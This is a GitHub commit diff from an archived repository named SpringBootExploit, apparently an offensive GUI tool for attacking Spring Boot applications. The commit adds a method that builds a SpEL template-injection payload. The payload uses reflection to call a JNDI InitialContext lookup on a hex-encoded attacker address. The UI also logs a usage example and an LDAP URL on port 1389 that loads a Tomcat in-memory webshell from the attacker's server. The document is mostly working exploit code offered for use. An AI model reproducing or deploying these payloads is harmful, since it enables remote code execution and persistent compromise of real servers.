Skip to content
This repository was archived by the owner on Jul 25, 2024. It is now read-only.

Commit 24e0da0

Browse files
committed
SpEL支持
1 parent 0a505c7 commit 24e0da0

File tree

3 files changed

+22
-2
lines changed

3 files changed

+22
-2
lines changed

pom.xml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@
77
<groupId>org.example</groupId>
88
<artifactId>SpringBootExploit</artifactId>
99
<!-- <packaging>jar</packaging>-->
10-
<version>1.0-SNAPSHOT</version>
10+
<version>1.1-SNAPSHOT</version>
1111

1212

1313
<!-- <properties>-->

src/main/java/com/drops/ui/MainController.java

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -269,9 +269,11 @@ public void crackSpcGadgetBtn(ActionEvent actionEvent) {
269269
if (this.gadgetOpt.getValue().equalsIgnoreCase("spelrce")){
270270
SpelUtils spel = new SpelUtils();
271271
String poc = spel.SpelExpr(this.vps.getText());
272+
String ssti = spel.SpelSsti(this.vps.getText());
272273
this.logTextArea.appendText(Utils.log("Payload 食用方法示例:http://127.0.0.1:9091/article?id=Payload"));
273274
this.logTextArea.appendText(Utils.log("ldap://" + this.vps.getText() + ":1389/basic/TomcatMemShell3"));
274275
this.logTextArea.appendText(Utils.log(poc));
276+
this.logTextArea.appendText(Utils.log(ssti));
275277
}else {
276278
boolean flag = this.attackService.gadgetSend(this.targetAddress.getText(),
277279
this.vps.getText(),this.gadgetOpt.getValue(),"TomcatEcho");

src/main/java/com/drops/utils/SpelUtils.java

Lines changed: 19 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -42,10 +42,28 @@ public String SpelExpr(String cmd){
4242

4343
}
4444

45+
public String SpelSsti(String cmd){
46+
47+
String ssti = "${\"a\".getClass().forName(\"javax.naming.InitialContext\").getMethod(\"lookup\",\"\".getClass()).invoke(\"\".getClass().forName(\"javax.naming.InitialContext\").newInstance(),";
48+
StringBuilder sb = new StringBuilder();
49+
char[] ch = cmd.toCharArray();
50+
for (int i=0 ; i<ch.length; i++){
51+
sb.append("0x" + HexUtil.toHex(Integer.valueOf(ch[i]).intValue()));
52+
if (i != ch.length -1 ){
53+
sb.append(",");
54+
}
55+
}
56+
ssti += sb.append(" )}").toString();
57+
System.out.println(ssti);
58+
59+
60+
return ssti;
61+
}
62+
4563
public static void main(String[] args) {
4664
SpelUtils s = new SpelUtils();
4765
// s.SpelExpr(s.rmi);
48-
s.SpelExpr(s.rmi);
66+
s.SpelSsti(s.rmi);
4967

5068
}
5169

0 commit comments

Comments
 (0)